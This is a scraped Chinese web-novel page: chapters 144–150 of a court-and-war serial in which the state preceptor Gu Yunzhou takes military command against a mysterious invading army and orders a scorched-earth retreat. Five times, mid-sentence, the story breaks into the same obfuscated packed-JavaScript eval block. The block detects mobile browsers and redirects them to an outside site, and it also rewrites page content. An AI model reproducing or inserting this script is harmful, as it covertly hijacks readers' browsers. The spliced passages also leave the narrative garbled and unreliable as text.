“……此乃虎狼之国,若有一日,其兵锋东出,中原危矣!必速报朝廷,早做防备!切记!切记!” 顾云舟的呼吸,在看到“大秦”两个字时,就已经停滞了。 当他读完最后一句,缓缓合上了书卷。 他抬起头,目光遥远方。 嘴角,慢慢地,慢慢地,向上翘起。 等了这么久。 风,终于要来了。 (谢谢大家的支持和喜欢,四更奉上) 第一百四十四章 一封军报 太和殿上,暖炉烧得旺。 过于温暖的环境会让人昏昏欲睡。 龙椅上,萧青鸾单手支着下巴,眼皮子正在打架。 底下,兵部尚书王德发正唾沫横飞地汇报着各地军务,那声音抑扬顿挫,像是在说相声。 “……综上,我大炎四海升平,八方安靖,皆赖陛下天威,国师辅政有方……”王德发肥硕的脸上堆满了谄媚的笑。 他清了清嗓子,拿起最后一份卷宗说道:“哦,还有一桩西境的小事。铁壁关巡逻队,于前日遭遇一伙不知名部落的蛮子,发生小**。我方将士奋勇杀敌,斩敌三名,仅折损五人,敌已望风而逃。可喜可贺,可喜可贺啊!” 他念完,认为这足以载入史册的大捷。 满朝文武昏昏欲睡,对此毫无反应。 西境嘛,鸟不拉屎的地方,死几个兵,跟死几只鸡有什么区别?正常损耗罢了。 就连龙椅上的萧青鸾,也只是懒懒地抬了抬眼皮,准备说一句“知道了,退朝”,好回去补个回笼觉。 然而,就在这催眠氛围中,一个清冷的声音突兀地响了起来。 “王尚书。” 声音不大。 却让所有人都打了个激灵,齐刷刷地朝声音来源看去。 百官队列的最前方,那个身着紫色国师袍,一直闭目养神的年轻人,不知何时睁开了眼睛。 他缓缓走了出来,身形笔直。 “卷宗,拿来我看看。” 他的语气很平淡,听不出喜怒。 兵部尚书王德发脸上的笑容僵了一下。他心里咯噔一声,暗道这位爷今天怎么突然对这种鸡毛蒜皮的小事感兴趣了? 但他不敢怠慢,连忙躬身,让身后的书吏将那份卷宗呈了上去。 喜公公小跑着接过卷宗,又小跑着送到顾云舟手上。 整个大殿,落针可闻。 所有人的目光,都聚焦在顾云舟和他手里的那份卷宗上。 顾云舟翻开卷宗,看得很快,几乎是一目十行。 他的眉头,却越皱越紧。 大殿里的空气,似乎也随着他的沉默,变得凝重了起来。 王德发的额头开始冒汗。他实在想不明白,一份再正常不过报告,怎么就让这位权倾朝野大人变了脸色? 终于,顾云舟合上了卷宗。 他抬起头,目光直直盯着王德发。 “王尚书,我问你三个问题。” 王德发一个哆嗦,连忙躬身:“国师大人请讲,下官知无不言。” 顾云舟的声音依旧平淡,却带着嘲弄。 “第一,我大炎的制式铁甲,什么时候成了纸糊的玩意儿? 卷宗上说,我方五名士卒,皆被箭矢穿胸而过。你告诉我,西境哪个部落的蛮子,能用骨头磨的箭头,射穿我北府军工坊出品的铁甲?” 王德发的冷汗“唰”地就下来了。 他结结巴巴地说道:“这个……这个或许是……是蛮子力气大,又或许……是我方士卒离得太近……” “是吗?”顾云舟打断了他,“那第二个问题。 卷宗上说,敌军撤退时,‘鸣金收兵,阵型不乱,徐徐而退’。 王尚书,你给我解释解释,什么叫鸣金收兵?你家蛮子**,还随身带着锣鼓家当?还这么懂兵法,是请了孙子当军事教官吗?” “噗嗤” 队列里,不知是谁没忍住,笑出了声。 王德发的脸瞬间涨得发红,。 “下官……下官……”他“下官”了半天,一个字也憋不出来。 顾云舟根本没给他机会,第三个问题接踵而至。 “最后一个问题。对方留下的三具尸体,卷宗描述,‘骨骼高大,颧骨突出,与西境任何已知部落皆不相同’。 王尚书,你掌管天下兵马,能不能告诉我,这伙从地里冒出来的蛮子,到底是什么来头?” 整个太和殿,死一样寂静。 所有人都听明白了。 这根本不是什么边境摩擦! 王德发双腿一软,几乎要瘫倒在地。 他现在终于知道问题出在哪了,可**他之前看卷宗的时候,怎么就没看出来呢? 他只看到了“斩敌三名,折损五人”,这数字多好看啊! 顾云舟不再看他,而是转向龙椅,对着萧青鸾深深一揖。 “陛下,臣断言,这绝非寻常部落。这是一支训练有素,装备精良的斥候小队。 他们出现在铁壁关,是在试探我大炎的边防虚实。 其背后,必然存在一个我们一无所知的强大势力! 他的声音掷地有声,在空旷的大殿里回响。 “臣奏请陛下,立刻派遣玄鸟卫火速赶往铁壁关,彻查此事!此事,关乎国运!” 这也太夸张了吧? 死五个人,就关乎国运了? 果然,队列中几位须发皆白的老将军交换了一下眼色,其中一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196113|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个拄着拐杖的老将颤巍巍地走了出来。 他是镇北侯萧怀玉的旧部,当年也是一员猛将,如今告老还乡,在京中颐养天年,颇有威望。 “咳咳,”老将军清了清嗓子,带着一丝轻慢笑道,“国师大人未免有些小题大做了吧?西境蛮子,不过疥癣之疾。(非,欧结合版) 老夫戍边三十年,这种小冲突,一年没有一百起也有八十起。死几个人就大惊小怪,还要动用玄鸟卫?那我们大炎的兵,还打不打仗了?” 他话音一落,立刻有几个武将附和起来。 “是啊,李将军说得对!” “国师大人是文人,不懂军旅之事,谨慎些是好的,但也不能草木皆兵啊!” “我看就是一伙运气好的蛮子,说不定是捡到了什么遗留的兵器,国师大人这是在书房里待久了,看什么都像千军万马。” 一阵哄笑声响起。 这些老将,对顾云舟这位靠着奇谋上位的“书生军神”,心里本就有些不服气。现在抓到机会,自然要嘲讽一番,以彰显自己的经验老道。 兵部尚书王德发一看有人撑腰,立刻又支楞了过来,连忙附和道:“是啊是啊,李将军所言是极吧。 西境安稳百年,从未出过什么大乱子。国师大人,您是不是……太过忧虑了?” 整个朝堂的风向,瞬间逆转。 所有人都觉得顾云舟是在杞人忧天,大惊小怪。 萧青鸾坐在龙椅上,秀眉紧蹙。 她看看下面据理力争,孤身一人的顾云舟,又看看那些倚老卖老,满脸不以为然的老将军。 她陷入了两难。 从本能上,她一万个相信自己的先生。先生说有危险,那就一定有的危险。 可从理智上,她又觉得满朝文武说的有道理。为了五个人,就派玄鸟卫去查,传出去,岂不是显得她这个女帝胆小如鼠,被一个臣子牵着鼻子走? 她需要平衡。 她需要展示自己身为君主的判断力,而不是先生的提线木偶。 沉默了许久,她终于缓缓开口。 金口玉言,一锤定音。 “准奏。” 顾云舟眼中闪过一丝不易察觉的放松。 但萧青鸾的下一句话,却让他的心又沉了下去。 “但是,只派一组人去。查明情况,速去速回。” 她顿了顿,目光直视着顾云舟。 “国师,朕不希望,是你在杞人忧天。” 第一百四十五章 坠落 半个月过去了。 神京城里,那场“关于西境议论”似乎已经被遗忘了。 毕竟天高皇帝远,死几个边兵,哪有今天中午吃什么,明天去哪个园子听曲儿重要。 国师府的书房内,一如既往的安静。 只有顾云舟自己知道,那根名为“危机”的弦,从未有片刻松懈。 他每日都会走到那副的沙盘前。 沙盘上,大炎的山川河流纤毫毕现。 他伸出手指,在最西边的铁壁关位置,轻轻放下一枚黑色的棋子。 是今天的第十五枚。 他身后,萧青鸾正笨拙地替他整理着一卷卷档案。她的小脸沾了些灰尘,像只偷吃东西被抓到的小花猫,动作格外认真。 她已经习惯了这种“陪伴”。 名为监视,实则……她也不知道是什么了。 她只知道,看着先生的背影,她就心安。 可今天,她总觉得心神不宁,好像有什么事要发生。 …… 子时,玄鸟卫总部。 这里是大炎最隐秘最森严的暴力机关,此刻却灯火通明。 “砰!” 大门被人从外面用身体狠狠撞开。 一道黑色的血影,踉跄着滚了进来。 “玄十三!” 当值的玄鸟卫看清来人,发出一声惊呼。 所有人都冲了过去。 眼前的景象让这些见惯了生死的特务都倒吸一口凉气。 太惨了。 玄十三,他们中最精锐的斥候队长,此刻他的左臂从肩膀处被齐刷刷地斩断,伤口用破布胡乱包着,早已被黑色的血痂糊住。 身上,深深地插着五六支造型诡异的黑色**箭,每一支都贯穿了要害。 他浑身浴血,脸上没有一丝血色。 “头儿……玄鸟大人……” 他用尽最后的力气,才说出这几个字。 玄鸟早已闻讯赶来,他看着自己属下变成这副模样,他急忙蹲下身,沉声道:“十三,系我。发生了什么?” 玄十三的瞳孔已经开始涣散,他死死抓住玄鸟的衣襟,喉咙里发出嗬嗬的声响,用尽生命最后的力量,吐出了几个字。 “快带我……去见……国师……” 说完这句,他头一歪,彻底昏死过去。 …… 国师府中。 太医院的院使带着几个太医,满头大汗地围着床榻上的玄十三。 银针,汤药,能用的法子都用了。 “如何?”顾云舟的声音很平静。 院使擦了擦额头的汗,躬身回道:“回国师大人……这位壮士……已是油尽灯枯。五脏六腑皆有破损,左臂的伤更是……下官只能用百年老参为他吊着一口气,但……但最多也就能撑半个时辰。” 萧青鸾站在顾云舟身后,小手紧紧攥着顾云舟的衣角。 顾云舟摆了摆手,让太医退下。 他走到床边,俯下身,轻声道:“玄十三,我是顾云舟。我知道你听得见。告诉我,你们看到了什么。” 或许是回光返照,或许是听到了这个名字,玄十三的眼皮颤动了一下,缓缓睁开。 他的声音微弱,断断续续,却清晰地传到了在场每个人的耳朵里。 “我们……找到了……一支军队……不是部落……” “扎营……巡逻……操练……皆如一人……安静得……可怕……” “没有旗帜……没有番号……只有……手势……和……短促的哨音……” 玄鸟站在一旁,脸色越来越难看。 他知道这意味着什么。 这是一支纪律严明到恐怖地步的军队。 玄十三急促地喘息着,仿佛要将肺里的空气都咳出来。 “我们……离得很远……用千里镜看的……他们有一种……巨**……” “三个人……操作……射出的箭……能飞……一里多远……” “我们……被发现了……不是普通的箭……是……是带着火……” 他的眼中流露出极致的恐惧。 “一团火光… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196114|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …在天上炸开……然后……然后我的兄弟们……就没了……什么都没了……” “我……是运气好……被气浪掀飞……才活下来……” **车? 火光? 萧青鸾听得云里雾里,但她能感受到那种深入骨髓的绝望。 玄鸟上前一步,从怀中取出一个用布包裹的东西,双手呈上。 “国师,这是从玄十三身上取下的**箭。” 顾云舟接过,打开布包。 那是一支通体漆黑的短箭,箭头呈三棱形,带着倒钩。 他抽出腰间的**,轻轻在箭簇上刮了一下。 “铮!” 一声脆响,火星四溅。 **的刃口卷了,而那黑色的箭簇上,连一道白印都没有留下。 玄鸟和萧青鸾的瞳孔猛地一缩。 国师的**是百炼精钢所制,削铁如泥! 顾云舟没有停下,他用刀尖小心翼翼地撬开箭簇的尾部。 里面是中空的,塞着一些黑色的粉末。 他拈起一点,放在鼻尖闻了闻。 一股刺鼻的硫磺硝石味道。 原来如此。 他抬起头,看向床榻上气息已然断绝的玄十三,又看了看脸色铁青,拳头紧握的玄鸟。 最后,他的目光落在了萧青鸾身上。 他缓缓开口。 “陛下,现在,你还觉得我是杞人忧天吗?” 萧青鸾的嘴唇颤抖着,一个字也说不出来。 无数情绪涌上心头。 如果……如果当初听先生的话,派出更多人手,是不是就不会…… 顾云舟没等她回话就自顾自的说。 “这不是蛮族,这是一个拥有更高文明的地方。” 他将那支**箭轻轻放在桌上,发出一声闷响。 “立刻,召集所有在京三品以上重臣,入宫议事。” 他的目光扫过全场,声音斩钉截铁。 “大炎……可能要面临立国以来,最大的危机了。” 第一百四十六章 雄关一夜 天还没亮透。 神京城一片压抑的气氛。 然而,这氛围被一阵由远及近马蹄声撕碎。 “驾!驾!” 一匹战马,口鼻喷着白沫,浑身汗水混着血污,像一支出弦的箭,沿着朱雀大街狂奔而来。 守城的卫兵刚想呵斥,战马已经带着一阵腥风从他们身边冲过,直奔宫门。 就在宫门前百步,那匹早已力竭的战马悲鸣一声,轰然倒地。 (马:喂我花生....) 马背上的人影被狠狠甩了出去,在青石板上翻滚了十几圈,最终停在宫门之下,再无声息。 …… 太和殿。 文武百官列队站好,却无人交头接耳。所有人都眼观鼻鼻观心。 昨天国师府发生的一切压在每个人心头。 女帝萧青鸾端坐于龙椅之上,她的目光时不时飘向丹陛之下那个男人。 先生。 他说的,都应验了。 就在这时,殿外传来一阵急促的脚步声和骚动。 一名小太监连滚带爬地跑了进来,声音尖利,带着哭腔:“陛下!急报!西境急报!” 话音未落,两名禁军架着一个浑身是血、盔甲破碎的兵士冲了进来。 那兵士双目圆瞪,眼神涣散,嘴里不停地念叨着什么,精神已然失常。 “魔鬼……是魔鬼……” “放开我!他们会追上来的!” 他猛地挣脱禁军,疯了一样在殿中乱撞。 “王德发!”萧青鸾的声音带着一丝颤抖。 兵部尚书王德发一个激灵,连忙出列,他看到那兵士肩甲上的徽记,脸色瞬间变得惨白如纸。 “是……是铁壁关的守军……” 铁壁关! 大炎西境第一雄关!固若金汤! 朝堂之上顿时响起一片倒吸冷气的声音。 “快!让他说!发生了什么!”一名老将军急吼道。 王德发上前,试图抓住那名兵士:“你是何人?铁壁关怎么了?” 那兵士看到王德发的官服,仿佛找到了宣泄口,一把抓住他的衣领,将他拽到自己面前,布满血丝的眼睛死死盯着他。 “怎么了?哈哈哈哈……没了!都没了!” 他笑得比哭还难看,口水混着血沫从嘴角喷出。 “一夜!就一夜!” 他伸出一根手指,在王德发眼前疯狂摇晃。 “没有冲车!没有云梯!什么都没有!” “天上……天上掉下来好多黑色的太阳!好多好多!” 年轻的信使语无伦次,陷入了那地狱般的回忆。 “那些黑色的太阳一落地……轰!” 他猛地大吼一声,吓得几个文官一屁股坐在地上。 “地动山摇!火光把天都烧红了!我身边的兄弟,上一刻还在骂娘,下一刻……就变成了一地碎肉!” “城墙……我们引以为傲的城墙,被炸开了一个又一个大洞!城楼……直接飞上了天!” “我们完了……我们根本不知道敌人在哪儿……只能眼睁睁看着那些妖火从天而降,把我们一个个炸成碎片!” “然后……然后他们就上来了……” 信使的身体开始剧烈颤抖,眼中是无法用言语形容的恐惧。 “一群黑色的魔兵……穿着看不见脸的铁甲……手里拿着会转的弯刀……他们……他们有钩子!会自己往上爬的钩子!” “他们从被炸开的缺口爬上来……悄无声息……!” “**……那就是一场**!” “我们的刀砍在他们身上,只冒火星!他们的刀……能把人和盾牌一起劈开!” “五千兄弟……守城的五千兄弟……还有关内数万百姓……” 信使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196115|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音戛然而生,他松开王德发的衣领,双膝一软,跪倒在地。 他抬起头,环视着满朝惊骇欲绝的文武百官,脸上露出一抹解脱般的笑容。 “铁壁关没了。” “哈哈哈哈……没了!全都没了!” 说完最后一句话,他两眼一翻,直挺挺地向后倒去。 死寂。 长达十几个呼吸的死寂。 “完了……全完了……” 一名须发皆白的老将,曾随镇北侯南征北战,此刻却像个孩子一样瘫坐在地,老泪纵横。 “天降妖火?自动攀爬的钩爪?这是什么妖法!这仗怎么打!” “铁壁关……那可是铁壁关啊!一夜之间就没了……下一个是不是就轮到我们神京了?” “陛下!臣请迁都!立刻迁都!” 恐慌蔓延。 各种声音乱成一锅粥。 龙椅之上,萧青鸾她的指甲深深掐进掌心,鲜血渗出也毫无知觉。 她脑子里一片空白。 她的目光,穿过满殿混乱失态的臣子,下意识地,寻找着那个唯一的身影。 那个从信使进殿开始,就一言不发的人。 感受到了她的目光,那股恐慌的浪潮终于拍打到了他这块礁石上。 所有人的哭喊哀嚎,渐渐地,都小了下去。 一个,两个,十个,百个…… 满朝文武,所有官员,都像溺水之人抓向最后一根稻草,将目光投向身姿挺拔如松的身影。 那眼神里是一种卑微的、近乎乞求的…… 整个大炎王朝的命运,都好像压在了他一个人的肩上。 顾云舟缓缓抬起眼,迎上了那数百道目光。 内心os:泥妹的,出事就想起我了?早干嘛去了.... (晚上还有一张,爱你们(??????(??????c)) 第一百四十七章 最后的权 “迁都?” “往哪迁?南边三河之地刚刚平定,民心未稳。北境要防备异族,自顾不暇。还是说,诸位大人想带着陛下,一路向东,去海上当渔夫?” “至于天罚,妖法……” 顾云舟的目光扫过那个瘫软在地的老将军。 “打了半辈子仗的老将军,居然会信这种东西。 看来承平的日子过久了,刀都锈得握不住了。” 被点到的人羞愤欲绝,一张老脸开始发红。 “国师!你……你这是何意!难道你有办法不成!”一个言官壮着胆子质问。 顾云舟没有理他。 他从袖中取出了一份卷好的丝帛。 “就在半个时辰前,我收到了镇北侯的八百里加急。” 镇北侯!萧怀玉! “信上说,北府军的斥候,也在西境边缘,遭遇了小股敌人。”顾云舟的语气依旧平淡,“结果是,我方斥候小队全军覆没,对方……毫发无伤。” “信的最后,镇北侯只有一句话。” 顾云舟顿了顿,目光缓缓扫过全场。 他一字一顿地念道: “此等妖术,非人力可敌。若犯神京,北府军……唯有死战,毫无胜算。” 死战。 毫无胜算。 完了。 这次是真的完了。 连北府军都不行,那还有谁行? 顾云舟看着这满殿的行尸走肉。 很好。 不把你们所有的希望都打碎,你们又怎么会心甘情愿地,把刀递到我的手上? “常规的法子,确实不行了。” “用士兵的命去填,填多少都是白给。用最精锐的北府军去撞,除了撞个粉碎,不会有第二个结果。” 他的话,残忍,却又是事实。 没有人反驳。 因为他们知道,他说的是对的。 在所有人都沉浸在末日的寂静中时,顾云舟话锋一转。 “所以,要用非凡之法,来对付非凡之敌。” 他的声音陡然拔高,带着穿透力。 “要用不守规矩的狼,去对付不请自来的虎!” 众人猛地抬头,茫然地看着他。 狼?什么狼? 顾云舟转向龙椅,对着那双已经失去焦距的凤眸,朗声奏道: “陛下,臣请奏,即刻调动南疆巡阅军,即刻!火速!开赴西境前线!作为抵御大秦的第一道防线!” 南疆巡阅军? 大部分文官都愣住了,这是个什么部队?没听说过啊。 但一些消息灵通的武将和勋贵,脸色却瞬间变得无比精彩。 南疆巡阅军……那不是国师收编的那群悍匪吗!那个叫“驯虎营”的玩意儿! 让一群土匪去保家卫国? 这简直是滑天下之大稽! 一个御史下意识地就想站出来痛斥其荒谬,可他刚迈出半步,就看到了周围同僚那死灰般的眼神。 然后他自己也想明白了。 是啊,荒唐。 可现在,还有比这更荒唐的局面吗? 连铁壁关都一夜蒸发了,连北府军都说毫无胜算,你还指望谁?指望京城里这帮提笼遛鸟的吗? 至少……至少那群土匪,是真的敢上啊! 一时间,整个大殿,无人反对,也无人赞同。 所有人的目光,都像约定好了一样,从顾云舟身上,缓缓移到了龙椅之上。 这道命令,只有一个人能下。 萧青鸾的睫毛微颤。 她看着他。 她忽然明白了。 从他踏入大殿的那一刻起,这一切,就在他的算计之中。 他打碎所有人的幻想和信心,将整个大炎逼入绝境,就是为了此刻。 为了让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196116|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那支见不得光的“私军”,名正言顺地登上历史的舞台。 为了……逼她交出最后的权力。 可随之而来的,却是荒谬的……安心感。 是的,安心。 至少,他还有办法。 至少,在这个所有人都崩溃的时刻,只有他,还立在这里。 哪怕这座山,可能会离开她。 萧青鸾死死地攥着龙椅的扶手。 她与他对视着。 许久,许久。 她站了起来。 在满朝文武震惊的注视下,一步一步,走了下来。 她走到顾云舟面前,从腰间解下了一枚通体漆黑,雕刻着狰狞猛虎图样的兵符。 玄铁虎符。 先帝亲赐,象征着大炎最高军权的信物,自登基以来,她从未离身。 此刻,递到了顾云舟的面前。 “西境军务,无论内外……” 她的声音清晰。 “皆由国师,一人决断。” 她抬起眼,深深地看着他,仿佛要将他的样子刻进灵魂里。 “朕……” “准了!” 顾云舟伸出手,接过了那枚尚带着少女体温的虎符。 入手冰凉,沉重如山。 他没有谢恩,甚至没有多余的表情。 只是将虎符握在掌心,然后转身,面向殿门的方向。 他的声音响起。 “来人。” 一名殿前侍卫立刻上前,单膝跪地。 “传令下去,将殿外那个信使,立刻送往太医院,用最好的人,最好的药,务必让他清醒过来。” 侍卫一愣,不明白为何国师掌权的第一道命令,竟是这个。 顾云舟没有回头,声音冷得像冰。 “我需要他活着。” (既然大家觉得无聊的话,那我可就要加快剧情咯) 第一百四十八章 长城 虎符入手,冰凉刺骨。 “兵部尚书,王德发。” 满身肥肉的兵部尚书王德发一个激灵,几乎是连滚带爬地出列,噗通一声跪在地上,汗水打湿官服。 “臣……臣在!” “传本师之令。”“着西境所有尚存之州府县,即刻起,放弃一切城防工事。” 话音落下, 所有人眼睛瞪大,怀疑自己的耳朵出了问题。 放弃……城防? 不等他们消化完,顾云舟的下一句话已经飘来。 “所有驻军,裹挟所有百姓,带上所有能带走的粮食牲畜物资,立刻向东撤离。” 他顿了顿,说出了一个距离。 “三百里。” ... “什么!” “国师疯了吗!” “不战而退三百里?这是要将大好河山拱手送人啊!” “我大炎立国百年,从未有过如此奇耻大辱!” 兵部尚书王德发猛地抬起头,嘶吼道:“国师!万万不可啊!西境三百里沃土,皆是我大炎根基!此令一出,国本动摇,民心尽丧!臣……臣愿以死相谏!” 说完,他砰砰砰地磕起头来,那力道,仿佛要将这金銮殿的地砖都磕碎。 几个须发皆白的老将也跪了下来,声泪俱下。 “请国师收回成命!” “我等愿死守国门,与城池共存亡!” 顾云舟静静地看着这满堂的忠臣义士,面无表情。 内心深处,只有一句冰冷的吐槽。 哭,哭也算时间,哭响一点,最好让西边的大秦铁骑听到,看他们会不会被你们的哭声吓退。 他懒得跟这群人废话。 一群只知道守着坛坛罐罐的老古董,敌人都要冲进厨房了,他们还在关心祖宗的牌位摆得正不正。 他的目光越过这些跪地的人,直接落在了龙椅之上。 “陛下。” 他只喊了两个字,满殿的嘈杂而止。 所有人都明白,在这座大殿里,真正能做主的,只有两个人。一个是他,另一个,就是他看着的那个人。 她刚刚才把虎符交出去,本以为他会立刻调兵遣将,制定反击之策。 可她万万没想到,他的第一道命令,竟然是逃跑。 “臣,请陛下再下一道旨意。”顾云舟的声音里没有半分请求的意味,更像是命令。 “命玄鸟卫,协同地方官府,监督撤离。” 听到这里,有几个大臣稍微松了口气,有玄鸟卫监督,至少不会乱套。 然而,顾云舟接下来的话,却让他们发寒。 “凡是带不走的,一律焚毁。” “凡是井水,尽数填埋,或投入死畜秽物。” “凡是桥梁,渡口,山间小道,找到工部的人,全部摧毁。” 说到最后一句时,整个太和殿已经没人说话了。 所有人都用看疯子一样的眼神看着顾云舟。 焦土。 这是焦土之策! 他要把西境三百里,变成一片真正的死亡绝地!让那里寸草不生,鸟兽绝迹! 太狠了。 太毒了! 他不是在逃跑。 他是在挖一个坟墓。 “你……你这个魔鬼!”王德发终于从地上爬起来,指着顾云舟,“你这是要毁了我大炎的万世基业啊!陛下,不能听他的!此人乃是妖人降世,是来祸乱我朝的啊!” “王尚书。”他轻声问道,“你觉得,是基业重要,还是活人的命重要?” “我……” 王德发被问得一噎。 不等他想出什么忠君爱国的说辞,一声脆响,震慑全场。 是萧青鸾! 她一掌拍在龙椅扶手上,猛地站了起来。 “够了!” 她厉声喝道, “国师之令,即为朕之令!” “西境所有军务,皆由国师一人决断!从此刻起,谁敢再非议一句,便以通敌论处,立斩不赦!” 满堂死寂。 “玄鸟!”萧青鸾厉声呼唤。 一道黑影如同鬼魅般出现在殿中,单膝跪地。 “臣在。” “你,亲自带人去办。”萧青鸾的声音里带着一丝她自己都未察觉的颤抖,“国师说的每一个字,都要给朕办到!一草一木,若有半分折扣,你提头来见!” 玄鸟卫指挥使玄鸟的头埋得更低了。 “遵旨。” 他起身时,深深地看了一眼顾云舟。那眼神里,有震惊,有不解,但更多的是一种军人对强者的绝对服从。 而后,他悄无声息地退入阴影之中。 “退朝!” 萧青鸾几乎是吼出这两个字,然后头也不回地转身,快步走进了侧殿,逃离这个让她窒息的地方。 百官还跪在原地,一个个面如死灰,仿佛被抽走了魂魄。 顾云舟却像个没事人。 然后,他转身,迈步。 在百官的注视下,一步一步,从容地走出了太和殿。 御书房内,檀香袅袅。 萧青鸾焦躁地来回踱步。刚刚在朝堂上强行撑起的帝王威严,此刻已荡然无存。 门被推开,顾云舟走了进来。 “先生……”她停下脚步,声音微弱,“你……你到底想做什么?焦土三百里……那是我大炎的土地,是我们的江山啊!就这么……白白送给敌人?” 顾云舟没有回答。 他径直走到房间中央那巨大的沙盘前。 沙盘上,山川河流,城池关隘,一应俱全。 他的手指,最终停在了一片空白之上。那里,曾经是铁壁关。 “陛下,过来看。” 他的声音有一种让人无法抗拒的魔力。 萧青鸾不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196117|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由自主地走了过去,目光落在那片沙盘上。 “敌人强,强在何处?”顾云舟平静地问。 萧青鸾想了想,艰难道:“闻所未闻的攻城之术,刀枪不入的铁甲,还有……天雷。” “不错。”顾云舟点头,“他们强在攻坚。而我们的城池,在他们面前,就是纸糊的灯笼。” 他随手拿起一枚代表城池的小木块,放在代表敌军的黑色小旗前。 “用灯笼去撞铁锤,结果如何?” 萧青鸾的脸又白了几分。“粉身碎骨。” “所以,我们不撞。” 话音未落,顾云舟伸出手,在沙盘的西境之上,轻轻一抹。 数十座代表着城镇村庄的木块,被他毫不留情地扫到了一旁。 “我们把所有灯笼,都收起来。” 他的动作从容不迫,仿佛在做一件再寻常不过的事情。 “陛下,敌人利于速战。他们的文明程度远高于我们,这意味着他们的后勤消耗也远大于我们。那样的军队,支撑不起一场旷日持久的战争。” “他们是一头从山里冲出来的猛虎,饿着肚子,想要一口吞掉我们的整个羊圈。” 他抓起一把细沙,任由沙子从指缝间滑落,均匀地覆盖在他刚刚清空的土地上。 沙粒掩盖了道路,填平了河流,将一片沃土变成了苍黄的荒漠。 “所以,我们把羊圈搬走。不但搬走,我们还要把草地全部烧光,把水源全部...。” 他抬起头,那眼眸里,闪烁着疯狂。 “他们想吃肉,我们就先逼着他们吃满嘴的沙子。等他们吃得精疲力尽,吃得头晕眼花,吃得连挥动爪子的力气都没有的时候……” 他停了下来,嘴角勾起一抹冰冷的弧度。 “再坚固的铁锤,也会锈成一堆废铁。再凶猛的老虎,也只是一只待宰的病猫。” 他直起身,轻轻拍掉手上的沙尘。 “这场仗,从一开始,就不是城与城的对决。” “而是用我大炎的**江山,去活活耗死一支无根的孤军。” “他们是虎,我们,就是能淹死猛虎的,无边无际的沼泽。” “陛下,这,才是臣的战法。” 萧青鸾呆呆地看着他。 她明白了。 他不是在防守。 他是在狩猎。 用整个西境,作为他为敌人准备的猎场。 她喉咙发干,声音沙哑。 “那……我们的人呢?那几十万撤离的军民……他们怎么办?” 顾云舟转过头,目光仿佛穿透了御书房的墙壁,望向了遥远的,广袤的东方。 他嘴角微微上扬,勾起一个神秘的微笑。 “他们?” “他们是新的长城。” (要不现代篇我把女主加强一点,不然看着有点无用,写完这段剧情我就直接跳到现代咋样) 第一百五十章 抓获 西境, 龙一正趴一处被烧得焦黑的土坡后观察。 他的身后还有三百名驯虎营将士。 他们已经在这里潜伏了两天两夜。 不生火,不言语,吃的只有怀里最硬的干粮,喝的只有水袋里的水。 国师的命令很简单。 “找到他们,咬住他们,带一样东西回来。活的死的都行。” 一个斥候无声地滑到龙一身边,伸出三根手指,然后指向西北方。 三里。 龙一的独眼眯了起来。 他从怀里掏出地图,那是国师大人亲手画的。线条歪歪扭扭,地名更是闻所未聞。 枯鹰谷。 一个听起来不咋记得住的名字。 “走。” 龙一吐出一个字。 。。。。 随军监军跟在后面,这两天,他见过的**比他这辈子读过的圣贤书上的字还多。他现在无比怀念在神京城的悠闲日子。 枯鹰谷的入口狭窄,两侧是光秃秃的悬崖。 